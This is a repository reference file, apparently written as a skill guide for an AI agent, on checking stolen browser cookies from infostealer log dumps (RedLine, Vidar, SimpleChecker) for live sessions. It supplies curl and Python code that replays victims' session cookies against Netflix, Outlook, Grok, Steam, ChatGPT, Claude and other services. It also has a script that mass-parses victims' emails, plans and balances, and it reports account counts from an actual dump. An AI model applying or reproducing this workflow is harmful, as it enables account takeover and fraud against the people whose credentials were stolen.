vlad/autoreg-skills-max
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
main
autoreg-skills-max/skills/account-validation/references/stealer-log-cookie-validation.md

7.9 KiB
Raw Permalink Blame History

Stealer Log / Cookie Dump Validation

Validate credentials from stealer log checker outputs (SimpleChecker, RedLine, Vidar, etc.) — cookie-based session tokens, not user:pass pairs.

Dump Format Recognition

SimpleChecker produces a SimpleChecker_YYYY-MM-DD_NNNNNNNNNN.zip with:

  • One NNNNNNNNNN_@CHANNEL_@CHANNEL.txt — summary (often empty)
  • Multiple <service>_hits.zip — one per service, each containing per-account .txt files

Each per-account .txt file is in one of two formats:

Netscape Cookie Format (Netflix, TikTok, Steam, Krea, etc.)

# Netscape HTTP Cookie File
.domain.com	TRUE	/	TRUE	expiry_timestamp	cookie_name	cookie_value

JSON Cookie Array (HeyGen, Outlook, Manus, etc.)

[
  {"name": "session", "value": "abc123", "domain": ".site.com", "path": "/", "secure": true, "httpOnly": true},
  ...
]

Multiple JSON arrays (Outlook)

Outlook concatenates multiple [...][...] arrays in one file. Split on ]\s*[ to separate accounts.

Filename Metadata Extraction

SimpleChecker encodes account metadata in filenames. Key patterns:

# Plans
[Premium] [Basic] [Standard] [Free] [Creator] [Pro]

# Countries
[IN] [BR] [US] [TR] [MX] [LK]

# Status
ON_HOLD/  Valid/  SUSPENDED/  Free/  LOCKED/

# Service-specific stats
TikTok:  [0 followers] [0 videos] [0 likes] [0 coins]
Twitch:  [0 followers] [0 bits] [partner:false]
YouTube: [0 subs] [0 videos] [0 views] [2fa:disabled]
Steam:   [R$ 0,00] [Lvl 9] [111 Games] [1 Friends]
Twitter: [SUS][0 Followers][71 Posts][Verified False]
Netflix: [ON_HOLD] [Premium] [LK] asard4090@gmail.com
HeyGen:  [PREMIUM] [creator_600] [cr_72of800]
Freepik: [Premium+][BR][45k-45k][2026-09-06]

Cookie Validation with curl

Core Pattern

curl -s -L -o /dev/null -w '%{http_code} %{size_download}' \
  -H 'Cookie: name1=val1; name2=val2' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
  --max-time 10 -k \
  'https://target.com/protected-page'

Response Signal Classification

HTTP Code Size Interpretation
200 > 5000B ✅ LIVE — full page returned
200 0B ⚠️ JS SPA — needs browser, cookie may be valid
200 < 500B ⚠️ Thin response — check body for login redirect
302 → /login — ❌ DEAD — session expired
302 → /account — ✅ LIVE — redirect to protected area
401 — ❌ EXPIRED — auth rejected
403 — ❌ LOCKED — account blocked/suspended

Python Implementation

import subprocess, json

def test_cookies(cookie_str, test_url, timeout=10):
    result = subprocess.run([
        'curl', '-s', '-L', '-o', '/dev/null', '-w', '%{http_code} %{size_download} %{url_effective}',
        '-H', f'Cookie: {cookie_str}',
        '-H', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        '--max-time', str(timeout), '-k', test_url
    ], capture_output=True, text=True, timeout=timeout+5)
    
    parts = result.stdout.strip().split()
    code = parts[0] if parts else '?'
    size = int(parts[1]) if len(parts) > 1 else 0
    final_url = parts[2] if len(parts) > 2 else ''
    
    if 'login' in final_url.lower():
        return {'status': 'dead', 'reason': 'redirect_to_login'}
    if code == '200' and size > 5000:
        return {'status': 'live', 'size': size}
    if code == '401':
        return {'status': 'dead', 'reason': 'expired'}
    if code == '403':
        return {'status': 'dead', 'reason': 'locked'}
    if code == '200' and size == 0:
        return {'status': 'unknown', 'reason': 'js_spa'}
    return {'status': 'unknown', 'code': code, 'size': size}

HttpOnly Cookie Limitation in Browser Tools

PITFALL: Both Chrome DevTools MCP and browser tools CANNOT set HttpOnly cookies.

What fails:

  1. evaluate_script → document.cookie = '...' — HttpOnly cookies are invisible to JavaScript
  2. emulate → extraHttpHeaders: {"Cookie": "..."} — browser's cookie jar takes precedence over injected headers
  3. browser_navigate → no cookie injection API

What works:

  • curl — the only reliable method for HttpOnly cookie validation
  • Selenium/Playwright with add_cookie() — can set HttpOnly cookies via DevTools Protocol
  • Chrome DevTools Protocol raw Network.setCookie — requires CDP connection, not available via MCP wrappers

When to use browser:

  • JS SPA sites (Krea, Manus, Outlook) where curl returns 200 but 0B
  • Sites with bot detection that block curl
  • Visual verification of account content

Mass Extraction Script

import zipfile, io, re, os, json

BASE = 'path/to/simplechecker_dump/'

results = {}
for fname in sorted(os.listdir(BASE)):
    if not fname.endswith('.zip'):
        continue
    service = fname.replace('_hits.zip', '')
    
    with open(os.path.join(BASE, fname), 'rb') as f:
        z = zipfile.ZipFile(io.BytesIO(f.read()))
        names = [n for n in z.namelist() if n.endswith('.txt') and n != 'summary.txt']
        
        accounts = []
        for name in names:
            info = {'file': name, 'email': None, 'plan': None, 'country': None, 'status': None}
            
            # Email
            em = re.search(r'[\w.+-]+@[\w.-]+\.\w+', name)
            if em: info['email'] = em.group(0)
            
            # Plan
            for p in ['Premium', 'Basic', 'Standard', 'Free', 'Creator', 'Pro']:
                if f'[{p}]' in name:
                    info['plan'] = p
                    break
            
            # Country
            cm = re.search(r'\]\s*\[(\w{2})\]\s*\[', name)
            if cm and len(cm.group(1)) == 2:
                info['country'] = cm.group(1)
            
            # Stats
            followers = re.search(r'(\d+)\s*followers', name, re.I)
            if followers: info['followers'] = int(followers.group(1))
            games = re.search(r'(\d+)\s*Games', name, re.I)
            if games: info['games'] = int(games.group(1))
            lvl = re.search(r'Lvl\s*(\d+)', name, re.I)
            if lvl: info['level'] = int(lvl.group(1))
            wallet = re.search(r'[¥$]\s*([\d,.]+)', name)
            if wallet: info['wallet'] = wallet.group(1)
            
            accounts.append(info)
        
        if accounts:
            results[service] = accounts

Service-Specific Notes

Netflix

  • Auth cookies: NetflixId + SecureNetflixId (both HttpOnly)
  • Test URL: https://www.netflix.com/YourAccount
  • LIVE signal: 302 → /account (not /login), or 200 with 2-3MB body
  • Filename: [ON_HOLD] [Plan] [Country] email@gmail.com

Grok (xAI)

  • Auth cookies: sso + sso-rw (HttpOnly)
  • Test URL: https://grok.com/ (main page, look for 795KB+)
  • API: https://grok.com/rest/app-chat/conversations (JSON, lists chats)
  • 116 accounts found in test dump

HeyGen

  • Cookie format: JSON array
  • Test URL: https://app.heygen.com/account
  • LIVE signal: 200 with 37KB+, no redirect to login
  • Filename: [PREMIUM] [creator_600] [cr_72of800] email@gmail.com

Outlook

  • Cookie format: multiple JSON arrays (split on ]\s*[)
  • 29 accounts in test dump, 28 emails extracted
  • Test URL: https://outlook.live.com/mail/0/
  • May need specific headers (Accept, etc.) — curl returns 417 without them

Steam

  • No steamLoginSecure in cookie dump — only non-essential cookies
  • Account metadata in filename: [R$ 0,00] [Lvl 9] [111 Games]
  • Top accounts: 111 games Lvl 9, 56 games Lvl 4, 49 games Lvl 10

Claude (Anthropic)

  • All 40 accounts returned HTTP 403 — locked
  • Likely session cookies expire quickly

ChatGPT

  • All 30 accounts returned HTTP 403 — locked
  • Web session tokens are short-lived

Verification

  • LIVE: curl returns HTTP 200 + >5000B body, or 302 → protected area
  • DEAD: 302 → /login, 401, or 403
  • JS SPA: 200 but 0B → needs browser (Krea, Manus, Outlook)
  • Empty account: filename shows 0 followers/subs/games
  • Suspended: filename contains SUSPENDED